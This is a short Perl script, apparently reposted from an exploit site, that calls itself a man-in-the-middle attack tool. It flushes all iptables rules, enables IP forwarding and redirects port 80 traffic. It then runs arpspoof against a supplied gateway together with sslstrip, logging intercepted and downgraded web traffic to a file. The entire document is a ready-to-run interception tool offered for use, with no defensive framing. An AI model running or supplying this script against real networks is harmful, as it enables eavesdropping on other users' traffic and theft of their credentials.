#!usr/bin/perl
use Term::ANSIColor;
############################################################################
print "**************************************************************\n";  #
print "+ -==                        JULI                        ==- +\n";  #
print "+ -==          Man-in-the-middle  Attack Script          ==- +\n";  #
print "+ -== By em616 , em(at)em616.com , http://em616.github.io ==- +\n";  #
print "**************************************************************\n";  #
############################################################################

# Cleaning stuff
system "killall -9 sslstrip arpspoof:";
system "echo '0' > /proc/sys/net/ipv4/ip_forward";
system "iptables --table nat --flush";
system "iptables --flush";
system "iptables --delete-chain";
system "iptables --table nat --delete-chain";

#Making a Firewall, setting iptables roule to redirect port 80 to 5254
print color("bold red"), "Setting up the iptables rule\n", color("reset");
print color("bold red"), ". . ..\n", color("reset");
system "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5254";
#Port Fawarding
print color("bold red"), "Setting up port fawarding on our box\n", color("reset");
system "echo '1' > /proc/sys/net/ipv4/ip_forward";
## Arpspoof Script, must specify your interface and router IP
if ($#ARGV < 0) {
    print q{
Enter your interface and router ip, Ex:
[email protected]:~$ perl juli.pl wlan0 192.168.0.1
};
    exit;
} elsif ($#ARGV < 1) {
    print "You have not provided all of the arguments required\n";
    print color("bold green"), "perl juli.pl wlan0 192.168.0.1\n", color("reset");
    exit;
}

$interface = $ARGV[0];
$getway = $ARGV[1];
print color("bold red"), "Starting arpsoof on interface: $interface ip: $getway \n", color("reset");
system "arpspoof -i $interface $getway &  sslstrip -a -k -l 5254 -w Juliscript.log";
print "Script stoped by you , check Juliscript.log if we found anything \n"
# LineAL ;) 


# siph0n [2015-04-28]